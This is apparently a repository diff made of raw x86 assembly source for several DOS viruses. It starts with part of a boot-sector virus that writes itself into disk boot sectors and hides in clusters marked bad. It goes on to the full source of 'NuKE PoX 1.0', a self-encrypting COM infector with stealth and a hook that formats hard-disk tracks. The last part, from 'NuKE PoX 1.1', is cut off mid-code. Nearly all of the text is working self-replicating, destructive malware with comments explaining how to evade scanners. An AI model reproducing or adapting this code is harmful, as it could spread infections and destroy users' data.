MOV DH,DL ; MOVE HEAD NUMBER
MOV AX,BX ; RECOVER CONTENTS OF AX
BRING_IN:
MOV DL,LSTDRV ; GET DRIVE NUMBER
MOV BX,8000H ; SET BUFFER ADDRESS
INT 13H ; DISK INTERRUPT
JNB GO_BACK ; BRANCH IF NO ERRORS
POP AX
GO_BACK:
RET
; INTERRUPT 19 (13H) (DISK) ROUTINE
INT_19:
PUSH DS
PUSH ES
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH CS ; \ SET DS EQUAL TO CS
POP DS ; /
PUSH CS ; \ SET ES EQUAL TO CS
POP ES ; /
TEST SWITCH,1 ; TEST NESTED INTERRUPT SWITCH
JNZ PASS_OUT ; EXIT IF ON
CMP AH,2 ; TEST FOR READ SECTOR
JNZ PASS_OUT ; EXIT IF NOT
CMP LSTDRV,DL ; COMPARE DRIVE NUMBER
MOV LSTDRV,DL ; SAVE DRIVE NUMBER
JNZ INT_SWITCH ; BRANCH IF DIFFERENT THIS TIME
; THIS IS THE ACTIVATION CODE. IT HAS A 'WINDOW' OF JUST LESS
; THAN A SECOND, APPROXIMATELY EVERY HALF HOUR, DURING WHICH
; TIME A DISK-READ WILL SWITCH IT ON.
XOR AH,AH ; GET SYSTEM CLOCK
INT 1AH ; SYSTEM CLOCK INTERRUPT
TEST DH,7FH ; TEST LOW WORD HIGH BYTE
JNZ DO_TIME
TEST DL,0F0H ; TEST LOW WORD LOW BYTE
JNZ DO_TIME
PUSH DX ; SAVE SYSTEM TIME
CALL INTERRUPT_08 ; INSTALL SYSTEM CLOCK ROUTINE
POP DX ; RECOVER SYSTEM TIME
DO_TIME:
MOV CX,DX ; COPY SYSTEM TIME
SUB DX,LASTTM ; INTERVAL SINCE LAST CALL
MOV LASTTM,CX ; SAVE SYSTEM TIME
SUB DX,24H ; SUBTRACT 2 SECONDS
JB PASS_OUT ; RETURN IF LESS THAN TWO SECONDS
INT_SWITCH:
OR SWITCH,1 ; SET ON NESTED INTERRUPT SWITCH
PUSH SI
PUSH DI
CALL DISK_INSTALL ; INSTALL ON DISK
POP DI
POP SI
AND SWITCH,0FEH ; SET OFF NESTED INTERRUPT SWITCH
PASS_OUT:
POP DX
POP CX
POP BX
POP AX
POP ES
POP DS
DB 0EAH ; FAR JUMP TO ORIGINAL INT 19
DW 01FBH ; ORIG19 - ORIGINAL INT 19 OFFSET
DW 0C800H ; ORG19S - ORIGINAL INT 19 SEGMENT
; DISK INSTALLATION
DISK_INSTALL:
MOV AX,201H ; READ ONE SECTOR
MOV DH,0 ; HEAD NUMBER 0
MOV CX,1 ; TRACK 0, SECTOR 1
CALL BRING_IN ; READ FIRST SECTOR FROM DISK
TEST LSTDRV,80H ; TEST FOR HARD DRIVE
JZ FAT_CHECK ; BRANCH IF NOT
; HARD DISK - PARTITION TABLE
MOV SI,81BEH ; ADDRESS TO PARTITION TABLE
MOV CX,4 ; NUMBER OF ENTRIES IN TABLE
NEXT_PART_ENTRY:
CMP BYTE PTR [SI+4],1 ; TEST FOR DOS 12-BIT FAT
JZ SNARF_UP_THE_BOOT ; BRANCH IF YES
CMP BYTE PTR [SI+4],4 ; TEST FOR DOS 16-BIT FAT
JZ SNARF_UP_THE_BOOT ; BRANCH IF YES
ADD SI,10H ; ADDRESS TO NEXT ENTRY
LOOP NEXT_PART_ENTRY ; LOOP THROUGH TABLE
RET
; HARD DISK - GET BOOT RECORD
SNARF_UP_THE_BOOT:
MOV DX,[SI] ; GET HEAD NUMBER OF BOOT
MOV CX,[SI+2] ; GET TRACK AND SECTOR OF BOOT
MOV AX,201H ; READ ONE SECTOR
CALL BRING_IN ; GET BOOT SECTOR FOR PARTITION
; BOOT SECTOR PROCESSING
FAT_CHECK:
MOV SI,8002H ; ADDRESS TO BPB SOURCE
MOV DI,7C02H ; ADDRESS TO BPB TARGET
MOV CX,1CH ; LENGTH OF BPB
REPZ MOVSB ; COPY BPB
CMP LATER3,1357H ; IS VIRUS INSTALLED ALREADY
JNZ WHERE_BE_THE_FAT ; BRANCH IF NOT
CMP LATER2,0
JNB HEAD_EM_OUT
MOV AX,FSTCLS ; GET SECTOR NO OF FIRST CLUSTER
MOV CURCLS,AX ; SAVE IT
MOV SI,REMAI2
JMP PLACE_VIRUS
HEAD_EM_OUT: RET
; CALCULATE LOCATION OF FAT AND FIRST CLUSTER
WHERE_BE_THE_FAT:
CMP BIPSEC,200H ; SECTOR SIZE 512
JNZ HEAD_EM_OUT ; EXIT IF DIFFERENT SIZE
CMP ALCSEC,2 ; SECTORS PER CLUSTER
JB HEAD_EM_OUT ; EXIT IF LESS THAN 2
MOV CX,VERVED ; GET RESERVED SECTORS
MOV AL,RUMNUM ; NUMBER OF FATS
CBW ; FILL OUT REGISTER
MUL FASNUM ; SECTORS PER FAT
ADD CX,AX ; SECTOR OF ROOT DIR
MOV AX,20H ; LENGTH OF DIR ENTRY
MUL ROTRID ; NUMBER OF DIR ENTRIES
ADD AX,1FFH ; ROUND UP TO WHOLE SECTORS
MOV BX,200H ; LENGTH OF SECTOR
DIV BX ; SECTORS OF ROOT DIR
ADD CX,AX ; SECTOR OF FIRST CLUSTER
MOV CURCLS,CX ; SAVE THIS
MOV AX,SECNUM ; GET NUMBER OF SECTORS
SUB AX,CURCLS ; SUBTRACT NON-DATA SECTORS
MOV BL,NUMSEC ; GET SECTORS PER CLUSTER
XOR DX,DX
XOR BH,BH ; CLEAR TOP OF REGISTER
DIV BX ; CALCULATE NUMBER OF CLUSTERS
INC AX ; ALLOW FOR NUMBER ONE NOT USED
MOV DI,AX
AND SWITCH,0FBH ; SET OFF 16-BIT FAT SWITCH
CMP AX,0FF0H ; SEE IF 12-BIT FAT
JBE WRITE_FAT ; BRANCH IF YES
OR SWITCH,4 ; SET ON 16-BIT FAT SWITCH
WRITE_FAT:
MOV SI,1 ; INITIALISE FAT ENTRY COUNT
MOV BX,SECRES ; GET RESERVED SECTORS
DEC BX ; ALLOW FOR ADDITION
MOV CURFAT,BX ; SAVE CURRENT FAT SECTOR
MOV PRCFAT,0FEH ; SET PROCESSED FAT LENGTH TO -2
JMP SHORT READ_FAT
; DATA AREA
DW 2 ; CURFAT - CURRENT FAT SECTOR
DW 12 ; CURCLS - SECTOR NUMBER OF FIRST CLUSTER
DB 1 ; SWITCH - SWITCHES
; - 01H - NESTED INTERRUPT
; - 02H - TIMER INTERRUPT INSTALLED
; - 04H - 16-BIT FAT
DB 0 ; LSTDRV - DRIVE LAST USED
DW 02B8H ; REMAIN - SECTOR NUMBER OF REST OF CODE
DB 0 ; RESERV - RESERVED SPACE.. FOR FUTURE HACKING
DW 1357H, 0AA55H ; FLAG01 - FLAG FIELD.
; END OF FIRST SECTOR, START OF SECOND
; SEARCH FAT FOR UNUSED CLUSTER
READ_FAT:
INC CURFAT ; ADDRESS TO NEXT FAT SECTOR
MOV BX,CURFAT ; GET NEXT SECTOR NUMBER
ADD PRCFAT,2 ; ADD TO PROCESSED FAT LENGTH
CALL READ_IT_IN ; READ FAT SECTOR
JMP SHORT GET_EM_NEXT
FAT_SWITCH:
MOV AX,3 ; LENGTH OF TWO FAT ENTRIES
TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH
JZ FAT_ENTRY ; BRANCH IF OFF
INC AX ; FOUR BYTES NOT THREE
FAT_ENTRY:
MUL SI ; MULTIPLY BY FAT ENTRY NUMBER
SHR AX,1 ; DIVIDE BY TWO
SUB AH,PRCFAT ; SUBTRACT PROCESSED FAT LENGTH
MOV BX,AX ; COPY DISPLACEMENT
CMP BX,1FFH ; SEE IF IN THIS SECTOR
JNB READ_FAT ; BRANCH IF NOT
MOV DX,[BX+8000H] ; GET ENTRY
TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH
JNZ F_TEST_1 ; BRANCH IF ON
MOV CL,4 ; POSITIONS TO MOVE
TEST SI,1 ; TEST FOR ODD-NUMBERED ENTRY
JZ FAT_TOP ; BRANCH IF NOT
SHR DX,CL ; SHIFT EVEN ENTRY INTO POSITION
FAT_TOP:
AND DH,0FH ; SWITCH OFF TOP BITS
F_TEST_1:
TEST DX,0FFFFH ; TEST ALL BITS
JZ MAKE_BAD ; BRANCH IF NONE ON
GET_EM_NEXT:
INC SI ; NEXT FAT ENTRY
CMP SI,DI ; HAS LAST ENTRY BEEN PROCESSED
JBE FAT_SWITCH ; BRANCH IF NOT
RET
; SPARE CLUSTER FOUND - INSTALL ON DISK
MAKE_BAD:
MOV DX,0FFF7H ; LOAD BAD SECTOR MARKER
TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH
JNZ FIND_SECTOR ; BRANCH IF ON
AND DH,0FH ; CONVERT MARKER TO FF7H
MOV CL,4 ; BITS TO MOVE
TEST SI,1 ; TEST FOR ODD-NUMBERED ENTRY
JZ FIND_SECTOR ; BRANCH IF NOT
SHL DX,CL ; MOVE INTO POSITION
FIND_SECTOR:
OR [BX+8000H],DX ; PUT MARKER INTO FAT
MOV BX,CURFAT ; GET SECTOR NUMBER
CALL WRITE_IT_OUT ; WRITE FAT SECTOR
MOV AX,SI ; GET ENTRY NUMBER
SUB AX,2 ; SUBTRACT FIRST CLUSTER NUMBER
MOV BL,NUMSEC ; GET SECTORS PER CLUSTER
XOR BH,BH ; CLEAR TOP OF REGISTER
MUL BX ; CONVERT TO SECTORS
ADD AX,CURCLS ; ADD SECTOR NUMBER OF 1ST CLUSTER
MOV SI,AX ; SAVE REAL SECTOR NUMBER
MOV BX,0 ; SECTOR ZERO
CALL READ_IT_IN ; READ BOOT SECTOR
MOV BX,SI ; GET OUTPUT SECTOR NUMBER
INC BX ; ADDRESS TO NEXT SECTOR
CALL WRITE_IT_OUT ; WRITE BOOT SECTOR TO STORE
PLACE_VIRUS:
MOV BX,SI ; GET OUTPUT SECTOR NUMBER
MOV REMAIN,SI ; SAVE SECTOR NO OF REST OF CODE
PUSH CS ; \ GET CURRENT SEGMENT
POP AX ; /
SUB AX,20H ; ADDRESS BACK TO VIRUS (2)
MOV ES,AX ; SET BUFFER ADDRESS
CALL WRITE_IT_OUT ; WRITE VIRUS (2)
PUSH CS ; \ GET CURRENT SEGMENT
POP AX ; /
SUB AX,40H ; ADDRESS BACK TO VIRUS (1)
MOV ES,AX ; SET BUFFER ADDRESS
MOV BX,0 ; SECTOR ZERO
CALL WRITE_IT_OUT ; WRITE VIRUS (1)
RET
DW 20CH ; LASTTM - SYSTEM TIME LAST CALLED
DB 2 ; PRCFAT - PROCESSED FAT / 256
; INSTALL INTERRUPT 8 (SYSTEM CLOCK) ROUTINE IF NOT DONE
INTERRUPT_08:
TEST SWITCH,2 ; TEST INT 8 INSTALLED SWITCH
JNZ FINISH_TIME ; BRANCH IF ON
OR SWITCH,2 ; SET ON INT 8 INSTALLED SWITCH
MOV AX,0 ; \ SEGMENT ZERO
MOV DS,AX ; /
MOV AX,INT8OF ; SAVE INT 8 OFFSET
MOV BX,INT8SG ; SAVE INT 8 SEGMENT
MOV INT8OF,OFFSET DO_VIDEO+7C00H ; NEW INT 8 OFFSET
MOV INT8SG,CS ; NEW INT 8 SEGMENT
PUSH CS ; \ SET DS EQUAL TO CS
POP DS ; /
MOV ORG08O,AX ; STORE OLD INT 8 OFFSET
MOV ORG08S,BX ; STORE OLD INT 8 SEGMENT
FINISH_TIME:
RET
; INTERRUPT 10
DO_VIDEO:
PUSH DS
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH CS ; \ SET DS EQUAL TO CS
POP DS ; /
MOV AH,0FH ; GET VDU PARAMETERS
INT 10H ; VDU INTERRUPT
MOV BL,AL ; VDU MODE
CMP BX,MODEAP ; TEST MODE AND ACTIVE PAGE
JZ CHARACTER_ATTRIB ; BRANCH IF UNCHANGED
MOV MODEAP,BX ; SAVE MODE AND ACTIVE PAGE
DEC AH ; VISIBLE COLUMNS
MOV COLUMN,AH ; SAVE VISIBLE COLUMNS - 1
MOV AH,1 ; GRAPHICS MODE SWITCH ON
CMP BL,7 ; TEST FOR TELETYPE MODE
JNZ IS_IT_GRAPHICS ; BRANCH IF NOT
DEC AH ; GRAPHICS MODE SWITCH OFF
IS_IT_GRAPHICS:
CMP BL,4 ; TEST FOR GRAPHICS MODE
JNB ROW_AND_COLUMN ; BRANCH IF GRAPHICS OR TELETYPE
DEC AH ; GRAPHICS MODE SWITCH OFF
ROW_AND_COLUMN:
MOV GRAPHM,AH ; STORE GRAPHICS MODE SWITCH
MOV ROWCOL,101H ; SET ROW AND COLUMN POSITIONS
MOV ROWCLM,101H ; SET ROW AND COLUMN MOVEMENT
MOV AH,3 ; GET CURSOR ADDRESS
INT 10H ; VDU INTERRUPT
PUSH DX ; SAVE CURSOR ADDRESS
MOV DX,ROWCOL ; GET ROW AND COLUMN POSITIONS
JMP SHORT VIDEO_01
CHARACTER_ATTRIB:
MOV AH,3 ; GET CURSOR ADDRESS
INT 10H ; VDU INTERRUPT
PUSH DX
MOV AH,2 ; SET CURSOR ADDRESS
MOV DX,ROWCOL ; GET ROW AND COLUMN POSITIONS
INT 10H ; VDU INTERRUPT
MOV AX,CHARAT ; GET CHARACTER AND ATTRIBUTES
CMP GRAPHM,1 ; TEST FOR GRAPHICS MODE
JNZ WRITE_CHAR ; BRANCH IF NOT
MOV AX,8307H ; CHARACTER AND WRITE MODE
WRITE_CHAR:
MOV BL,AH ; MOVE ATTRIBUTE OR WRITE MODE
MOV CX,1 ; ONLY ONCE
MOV AH,9 ; WRITE CHARACTER AND ATTRIBUTES
INT 10H ; VDU INTERRUPT
VIDEO_01:
MOV CX,ROWCLM ; GET ROW AND COLUMN MOVEMENT
CMP DH,0 ; IS ROW ZERO
JNZ VIDEO_02 ; BRANCH IF NOT
XOR CH,0FFH ; \ REVERSE ROW MOVEMENT
INC CH ; /
VIDEO_02:
CMP DH,18H ; IS ROW 24
JNZ VIDEO_04 ; BRANCH IF NOT
XOR CH,0FFH ; \ REVERSE ROW MOVEMENT
INC CH ; /
VIDEO_04:
CMP DL,0 ; IS COLUMN 0
JNZ VIDEO_05 ; BRANCH IF NOT
XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT
INC CL ; /
VIDEO_05:
CMP DL,COLUMN ; IS COLUMN LAST VISIBLE COLUMN
JNZ VIDEO_07 ; BRANCH IF NOT
XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT
INC CL ; /
VIDEO_07:
CMP CX,ROWCLM ; COMPARE ROW AND COLUMN MOVEMENT
JNZ VIDEO_09 ; BRANCH IF CHANGED
MOV AX,CHARAT ; GET CHARACTER AND ATTRIBUTES
AND AL,7 ; SWITCH OFF TOP BIT OF CHARACTER
CMP AL,3 ; TEST BITS 1 AND 2
JNZ VIDEO_08 ; BRANCH IF OFF
XOR CH,0FFH ; \ REVERSE ROW MOVEMENT
INC CH ; /
VIDEO_08:
CMP AL,5 ; TEST BITS 1 AND 3
JNZ VIDEO_09 ; BRANCH IF OFF
XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT
INC CL ; /
VIDEO_09:
ADD DL,CL ; NEW COLUMN POSITION
ADD DH,CH ; NEW ROW POSITION
MOV ROWCLM,CX ; SAVE ROW AND COLUMN POSITIONS
MOV ROWCOL,DX ; SAVE ROW AND COLUMN POSITIONS
MOV AH,2 ; SET CURSOR ADDRESS
INT 10H ; VDU INTERRUPT
MOV AH,8 ; READ CHARACTER AND ATTRIBUTES
INT 10H ; VDU INTERRUPT
MOV CHARAT,AX ; SAVE CHARACTER AND ATTRIBUTES
MOV BL,AH ; MOVE ATTRIBUTES
CMP GRAPHM,1 ; TEST FOR GRAPHICS MODE
JNZ VIDEO_10 ; BRANCH IF NOT
MOV BL,83H ; WRITE MODE FOR GRAPHICS
VIDEO_10:
MOV CX,1 ; ONCE ONLY
MOV AX,907H ; WRITE CHARACTER AND ATTRIBUTES
INT 10H ; VDU INTERRUPT
POP DX ; RESTORE CURSOR ADDRESS
MOV AH,2 ; SET CURSOR ADDRESS
INT 10H ; VDU INTERRUPT
POP DX
POP CX
POP BX
POP AX
POP DS
DB 0EAH ; FAR JUMP TO ORIGINAL INT 8
DW 0907H ; ORG08O - ORIGINAL INT 8 OFFSET
DW 10BDH ; ORG08S - ORIGINAL INT 8 SEGMENT
DW 0720H ; CHARAT - CHARACTER AND ATTRIBUTES
DW 1533H ; ROWCOL - ROW AND COLUMN POSITIONS
DW 01FFH ; ROWCLM - ROW AND COLUMN MOVEMENT
DB 0 ; GRAPHM - GRAPHICS MODE SWITCH
DW 3 ; MODEAP - MODE AND ACTIVE PAGE
DB 4FH ; DW7FD6 - VISIBLE COLUMNS - 1
DB 0B7H, 0B7H, 0B7H, 0B6H, 040H, 040H, 088H, 0DEH, 0E6H
DB 05AH, 0ACH, 0D2H, 0E4H, 0EAH, 0E6H, 040H, 050H
DB 0ECH, 040H, 064H, 05CH, 060H, 052H, 040H, 040H
DB 040H, 040H, 064H, 062H, 05EH, 062H, 060H, 05EH
DB 070H, 06EH, 040H, 041H, 0B7H, 0B7H, 0B7H, 0B6H
; END OF SECOND SECTOR, ORIGINAL BOOT SECTOR BEGINS HERE
CODE ENDS
END START
--
Eric "Mad Dog" Kilby maddog@ccs.neu.edu
The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu
Student at the Northeatstern University College of Computer Science
"I Can't Believe It's Not Butter"
+344
View File
@@ -0,0 +1,344 @@
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
;-* (c) Rock Steady, Viral Developments -*
;*- (c) NuKE Software Developement 1991, 1992 *-
;-* Virus: NuKE PoX Version 1.0 (Alias `Mutating Rocko') -*
;*- ~~~~~~ *-
;-* Notes: COM Infector, Hooks Int 9h & Int 21h, Memory Stealthness -*
;*- ~~~~~~ Dir Stealthness (FCB Way), Encrypting Virus (100 different *-
;-* Encrypted Copies of the Virus) -*
;*- Bytes: 609 Bytes Memory: (609 * 2) = 1,218 Bytes *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
crypt_size equ crypt - init_virus ;All that gets Incrypted
virus_size equ last - init_virus ;Size of the Virus
mut1 equ 3
mut2 equ 1
mut3 equ 103h
del_code equ 53h ;CTRL-ATL-DEL Key
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
rocko proc far
start: jmp init_virus ;+3 bytes
;-*-*-*-*-*-*-*-*-[Start of Virus]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
init_virus: call decrypt ;Decryption Routine Please ;+3 Bytes
call doit_now ;Doit VirusMan... ;+3 Bytes
;========
doit_now: pop bp ;Anything ABOVE THIS LINE 9 Bytes
sub bp,109h ;have to be added to the 100h! This
push ax ;SETs our `Delta Pointer'.
push bx
push cx
push dx ;Save registers
push si
push di
push bp
push es
push ds
mov ax,0abcdh ;Are we resident Already?
int 21h
cmp bx,0abcdh ;Yupe... Quit Then...
je exit_com
push cs ;Get CS=DS
pop ds
mov cx,es
mov ax,3509h ;Hook Int 9 Please...
int 21h
mov word ptr cs:[int9+2][bp],es ;Save Orignal Int 9h
mov word ptr cs:[int9][bp],bx ;Save Orignal Int 9h
mov ax,3521h ;Some AVs may INTCEPT this Call!
int 21h ;May be better to go Manually...
mov word ptr cs:[int21+2][bp],es ;Save the Int
mov word ptr cs:[int21][bp],bx ;Vector Table
dec cx ;Get a new Memory block
mov es,cx ;Put it Back to ES
mov bx,es:mut1
mov dx,virus_size+virus_size ;Size to `Hide'
mov cl,4 ;And all this crap hides
shr dx,cl ;your number of bytes in DX
add dx,4
mov cx,es
sub bx,dx
inc cx
mov es,cx
mov ah,4ah ;Call int to do it...
int 21h
jc exit_com
mov ah,48h
dec dx
mov bx,dx ;It's Done... Yeah!
int 21h
jc exit_com
dec ax
mov es,ax
mov cx,8h ;Here we move our Virus into
mov es:mut2,cx ;the `Hidden' memory!
sub ax,0fh
mov di,mut3
mov es,ax
mov si,bp
add si,offset init_virus
mov cx,virus_size
cld
repne movsb
mov ax,2521h ;Restore Int21 with ours
mov dx,offset int21_handler ;Where it starts
push es
pop ds
int 21h
mov ax,2509h ;Restore Int9 with ours
mov dx,offset int9_handler ;The Handler...
int 21h
push cs
pop ds
exit_com:
mov bx,offset buffer ; Its a COM file restore
add bx,bp ; First three Bytes...
mov ax,[bx] ; Mov the Byte to AX
mov word ptr ds:[100h],ax ; First two bytes Restored
add bx,2 ; Get the next Byte
mov al,[bx] ; Move the Byte to AL
mov byte ptr ds:[102h],al ; Restore the Last of 3 Byt
pop ds
pop es
pop bp ; Restore Regesters
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ax,100h ; Jump Back to Beginning
push ax ; Restores our IP (a CALL
retn ; Saves them, now we change
int21 dd ? ;Our Old Int21
int9 dd ? ;Our Old Int9
;-*-*-*-*-*-*-*-*[Int 9h Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int9_handler:
push ax
in al,60h ;Has the user attempted a
cmp al,del_code ;CTRL-ALT-DEL
je warm_reboot ;Yes! Screw him
bye_bye: pop ax
jmp dword ptr cs:[int9] ;Nope, Leave alone
warm_reboot:
mov ah,2ah ;Get Date Please
int 21h
cmp dl,18h ;Is it 24th of the Month?
jne bye_bye ;Yes, bye_Bye HD
mov ch,0
hurt_me: mov ah,05h
mov dh,0
mov dl,80h ;Formats a few tracks...
int 13h ;Hurts So good...
inc ch
cmp ch,20h
loopne hurt_me
db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot!
iret
;-*-*-*-*-*-*-*-*-[Dir Stealth Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
dir_handler:
pushf
push cs
call int21call ;Get file Stats
test al,al ;Good FCB?
jnz no_good ;nope
push ax
push bx
push es
mov ah,51h ;Is this Undocmented? huh...
int 21h
mov es,bx
cmp bx,es:[16h]
jnz not_infected ;Not for us man...
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;Get file DTA
int 21h
pop ax
inc al
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh ;UnMask Seconds Field
xor al,1dh ;Is in 58 seconds?
jnz not_infected ;Nope...
and byte ptr es:[bx+17h],0e0h
sub es:[bx+1dh],virus_size ;Yes minus virus size
sbb es:[bx+1fh],ax
not_infected:pop es
pop bx
pop ax
no_good: iret
;-*-*-*-*-*-*-*-*[Int 21h Handler]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int21_handler:
cmp ax,4b00h ;File executed
je execute
cmp ah,11h ;Dir handler
je dir_handler
cmp ah,12h ;Next file Dir handler
je dir_handler
cmp ax,0abcdh ;Virus testing
jne int21call
mov bx,0abcdh
int21call:
jmp dword ptr cs:[int21] ;Split...
ret
execute:
push ax
push bx
push cx
push dx
push si
push di
push es
push ds
mov ax,4300h ;Get file Attribs
int 21h
jc exit
test cl,1h ;Make sure there normal
jz open_file ;Okay there are
and cl,0feh ;Nope, Fix them...
mov ax,4301h ;Save them now
int 21h
jc exit
open_file: mov ax,3D02h
int 21h ;Open File to Infect please
jc exit ;Error Split
mov bx,ax ;BX File handler
mov ax,5700h ;Get file TIME + DATE
int 21h
mov al,cl
or cl,1fh ;Un mask Seconds
dec cx ;60 seconds
dec cx ;58 seconds
xor al,cl ;Is it 58 seconds?
jz exit ;File already infected
push cs
pop ds
mov word ptr ds:[old_time],cx ;Save Time
mov word ptr ds:[old_date],dx ;Save Date
mov ah,3Fh
mov cx,3h
mov dx,offset ds:[buffer] ;Read first 3 bytes
int 21h
jc exit_now ;Error Split
mov ax,4202h ;Move file pointer to end
xor cx,cx ;of file...
xor dx,dx
int 21h
jc exit_now ;Error Split
cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE?
je exit ;Yupe! Split
mov cx,ax
sub cx,3 ;Set the JMP
mov word ptr cs:[jump_address+1],cx
call infect_me ;Infect!
jc exit_now ;error split
mov ah,40h ;Write back the first 3
mov dx,offset ds:[jump_address] ;bytes
mov cx,3h
int 21h
exit_now:
mov cx,word ptr cs:[old_time] ;Restore old time
mov dx,word ptr cs:[old_date] ;Restore Old date
mov ax,5701h
int 21h
mov ah,3Eh
int 21h ;Close File now...
exit:
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[int21] ;Jmp back to whatever
rocko endp
;-*-*-*-*-*-*-*-*-*[Infection Routine]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
infect_me proc near
mov ah,2ch ;Get Time
int 21h
push dx ;Split seconds to AX
pop ax
mov byte ptr cs:[value],al ;AL = 0 to 99
;New Encryption Value
mov cx,virus_size
push cs
pop es ;Copy ANOTHER copy of the
mov si,offset init_virus ;Virus to the end of us
mov di,offset last
repne movsb
mov cx,crypt_size
sub cx,3h ;Encrypt that 2nd copy!
push bp
mov bp,offset last + 3h
call decrypt_encrypt
pop bp
mov ah,40h ;Write the New Encrypted
mov dx,offset last ;Virus to File!
mov cx,virus_size
int 21h
jc exit_error ;Error Split
mov ax,4200h
xor cx,cx ;Pointer back to beginning
xor dx,dx ;file!
int 21h
jc exit_error ;Split Dude...
clc ;Clear carry flag
retn
exit_error:
stc ;Set carry flag
retn
infect_me endp
old_time dw ?
old_date dw ?
jump_address db 0E9h,90h,90h
buffer db 90h,0CDh,020h
crypt:
msgs db "(c) Rock Steady/NuKE" ;No other than `Moi'...
;-*-*-*-*[Simple BUT EFFECTIVE Encryption/Decryption Routine]-*-*-*-*-*-*-
decrypt proc near
pop bp
push bp
mov al,byte ptr [value-106h][bp] ;Get new Encryption
mov cx,crypt_size ;Value
decrypt_encrypt:
xor cs:[bp],al ;Fuck Scanners and put a
inc bp ;`NOT AL' anywhere here...
loop decrypt_encrypt
retn
value db 00h ;Encryption value!
decrypt endp
last:
seg_a ends
end start
+497
View File
@@ -0,0 +1,497 @@
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
;-* (c) Rock Steady, Viral Developments -*
;*- (c) NuKE Software Developement 1991, 1992 *-
;-* Virus: NuKE PoX Version 1.1 (Alias: Evil Genius, NPox) -*
;*- ~~~~~~ *-
;-* Notes: Resident EXE & COM Infecting, Memory Stealth, Directory -*
;*- ~~~~~~ Stealth (FCB Method), Anti-Viral Products Aware, Infects *-
;-* COMMAND.COM on first Run, CTRL-ALT-DEL Aware... -*
;*- Bytes: 963 Bytes Memory: 963 Bytes *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
virus_size equ last - init_virus
mut1 equ 3
mut2 equ 1
mut3 equ 103h
del_code equ 53h
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
rocko proc far
start: jmp init_virus
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Virus Begins Here...
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
init_virus:
call doit_now ;Doit VirusMan...
doit_now: pop bp ;Not to Lose Track
sub bp,106h ;Set our position
push ax ;Save all the registers
push bx
push cx
push dx
push si
push di
push bp
push es
push ds
mov ax,7bcdh ;Are we resident Already?
int 21h
cmp bx,7bcdh ;Yupe... Quit Then...
je exit_com
xor bx,bx
push cs ;Get CS=DS
pop ds
mov cx,es
mov ax,3509h ;Hook Int 9 Please...
int 21h
mov word ptr cs:[int9+2][bp],es
mov word ptr cs:[int9][bp],bx
mov ax,3521h ;Sometimes tend to intercept
int 21h ;This Interrupt...
mov word ptr cs:[int21+2][bp],es ;Save the Int
mov word ptr cs:[int21][bp],bx ;Vector Table
dec cx ;Get a new Memory block
mov es,cx ;Put it Back to ES
mov bx,es:mut1
mov dx,virus_size ;Size to `Hide'
mov cl,4 ;And all this crap hides
shr dx,cl ;your number od bytes in DX
add dx,4
mov cx,es
sub bx,dx
inc cx
mov es,cx
mov ah,4ah ;Call int to do it...
int 21h
jc exit_com
mov ah,48h
dec dx
mov bx,dx ;It's Done... Yeah!
int 21h
jc exit_com
dec ax
mov es,ax
mov cx,8h ;Here we move our Virus into
mov es:mut2,cx ;the `Hidden' memory!
sub ax,0fh
mov di,mut3
mov es,ax
mov si,bp
add si,offset init_virus
mov cx,virus_size
cld
repne movsb
mov ax,2521h ;Restore Int21 with ours
mov dx,offset int21_handler ;Where it starts
push es
pop ds
int 21h
mov ax,2509h ;Restore Int9 with ours
mov dx,offset int9_handler ;The Handler...
int 21h
push cs
pop ds
exit_com:
cmp word ptr cs:[buffer][bp],5A4Dh
je exit_exe_file ;Its an EXE file...
mov bx,offset buffer ;Its a COM file restore
add bx,bp ;First three Bytes...
mov ax,[bx] ;Mov the Byte to AX
mov word ptr ds:[100h],ax ;First two bytes Restored
add bx,2 ;Get the next Byte
mov al,[bx] ;Move the Byte to AL
mov byte ptr ds:[102h],al ;Restore the Last of 3 Bytes
pop ds
pop es
pop bp ;Restore Regesters
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ax,100h ;Jump Back to Beginning
push ax ;Restores our IP (a CALL
retn ;Saves them, now we changed
int21 dd ? ;Our Old Int21
int9 dd ? ;Our Old Int9
exit_exe_file:
mov bx,word ptr cs:[buffer+22][bp] ;Load CS Regester
mov dx,cs
sub dx,bx
mov ax,dx
add ax,word ptr cs:[exe_cs][bp] ;Get original CS
add dx,word ptr cs:[exe_ss][bp] ;Get original SS
